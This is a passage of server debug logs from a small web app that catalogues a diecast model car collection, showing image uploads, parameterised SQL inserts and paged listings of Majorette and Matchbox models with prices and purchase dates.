    path: '/public/assets/images/diecast/s-l1600_2_88db1f5a-5b42-49d2-886e-e3096c7c948c.webp',
    url: '/assets/images/diecast/s-l1600_2_88db1f5a-5b42-49d2-886e-e3096c7c948c.webp',
    type: 'image/webp',
    size: 100400
  }
]
2026-02-04T11:26:56.168Z server-connect:app Executing action step repeat
2026-02-04T11:26:56.168Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2026-02-04T11:26:56.168Z server-connect:app Executing action step insert
2026-02-04T11:26:56.168Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T11:26:56.168Z server-connect:output images: { affected: 1, identity: 221 }
2026-02-04T11:26:56.168Z server-connect:output repeat_images: [ {} ]
2026-02-04T11:26:56.168Z server-connect:output condition: undefined
2026-02-04T11:26:56.168Z server-connect:output condition: undefined
2026-02-04T11:26:56.495Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T11:26:56.495Z server-connect:app Executing action step identify
2026-02-04T11:26:56.495Z server-connect:app options: { provider: 'security' }
2026-02-04T11:26:56.495Z server-connect:output identity: 1
2026-02-04T11:26:56.495Z server-connect:app Executing action step restrict
2026-02-04T11:26:56.495Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:26:56.496Z server-connect:output restrict: undefined
2026-02-04T11:26:56.496Z server-connect:app Executing action step paged
2026-02-04T11:26:56.496Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T11:26:56.498Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 161,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 184,
      model_name: 'Datsun 240Z',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 183,
      model_name: 'Alpine A110 R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alpine',
      vehicle_brand_id: 196,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 182,
      model_name: 'Audi Q4 e-tron',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 181,
      model_name: 'Renault Master',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 157,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 156,
      model_name: '1980 Jeep JIO Stepside',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 155,
      model_name: '2025 RAM 1500 EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T11:27:39.605Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T11:27:39.606Z server-connect:app Executing action step identify
2026-02-04T11:27:39.606Z server-connect:app options: { provider: 'security' }
2026-02-04T11:27:39.606Z server-connect:output identity: 1
2026-02-04T11:27:39.606Z server-connect:app Executing action step restrict
2026-02-04T11:27:39.606Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:27:39.606Z server-connect:output restrict: undefined
2026-02-04T11:27:39.606Z server-connect:app Executing action step condition
2026-02-04T11:27:39.606Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T11:27:39.606Z server-connect:app Executing action step insert
2026-02-04T11:27:39.606Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'diecast_cars',
    returning: 'id',
    query: 'insert into `diecast_cars` (`brand_id`, `case`, `condition`, `created_at`, `model_name`, `price`, `purchase_date`, `release_year`, `scale`, `series`, `vehicle_brand_id`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T11:27:39.608Z server-connect:output insert: { affected: 1, identity: 185 }
2026-02-04T11:27:39.608Z server-connect:app Executing action step condition
2026-02-04T11:27:39.608Z server-connect:app options: { if: '{{insert.identity}}', then: { steps: [ [Object], [Object] ] } }
2026-02-04T11:27:39.608Z server-connect:app Executing action step upload
2026-02-04T11:27:39.608Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T11:27:39.608Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T11:27:39.608Z server-connect:upload Process fields: 'images[]'
2026-02-04T11:27:39.608Z server-connect:upload Processing file: {
  name: 's-l1600 (3).webp',
  data: <Buffer >,
  size: 69102,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-71-20378841770204459605',
  truncated: false,
  mimetype: 'image/webp',
  md5: '5c6ea04502eb9651c8227f538fe97f6c',
  mv: [Function: mv]
}
2026-02-04T11:27:39.608Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_3_e0eb4fb3-58c2-41b4-ae09-bcf743d14607.webp',
  rel: 'public/assets/images/diecast/s-l1600_3_e0eb4fb3-58c2-41b4-ae09-bcf743d14607.webp'
}
2026-02-04T11:27:39.608Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_3_e0eb4fb3-58c2-41b4-ae09-bcf743d14607.webp',
  rel: 'assets/images/diecast/s-l1600_3_e0eb4fb3-58c2-41b4-ae09-bcf743d14607.webp'
}
2026-02-04T11:27:39.608Z server-connect:output upload_image: [
  {
    name: 's-l1600_3_e0eb4fb3-58c2-41b4-ae09-bcf743d14607.webp',
    path: '/public/assets/images/diecast/s-l1600_3_e0eb4fb3-58c2-41b4-ae09-bcf743d14607.webp',
    url: '/assets/images/diecast/s-l1600_3_e0eb4fb3-58c2-41b4-ae09-bcf743d14607.webp',
    type: 'image/webp',
    size: 69102
  }
]
2026-02-04T11:27:39.608Z server-connect:app Executing action step repeat
2026-02-04T11:27:39.608Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2026-02-04T11:27:39.608Z server-connect:app Executing action step insert
2026-02-04T11:27:39.608Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T11:27:39.609Z server-connect:output images: { affected: 1, identity: 222 }
2026-02-04T11:27:39.609Z server-connect:output repeat_images: [ {} ]
2026-02-04T11:27:39.609Z server-connect:output condition: undefined
2026-02-04T11:27:39.609Z server-connect:output condition: undefined
2026-02-04T11:27:39.912Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T11:27:39.912Z server-connect:app Executing action step identify
2026-02-04T11:27:39.912Z server-connect:app options: { provider: 'security' }
2026-02-04T11:27:39.912Z server-connect:output identity: 1
2026-02-04T11:27:39.912Z server-connect:app Executing action step restrict
2026-02-04T11:27:39.912Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:27:39.913Z server-connect:output restrict: undefined
2026-02-04T11:27:39.913Z server-connect:app Executing action step paged
2026-02-04T11:27:39.913Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T11:27:39.915Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 162,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 185,
      model_name: 'Volkswagen ID Buzz Cargo',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 184,
      model_name: 'Datsun 240Z',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 183,
      model_name: 'Alpine A110 R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alpine',
      vehicle_brand_id: 196,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 182,
      model_name: 'Audi Q4 e-tron',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 181,
      model_name: 'Renault Master',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
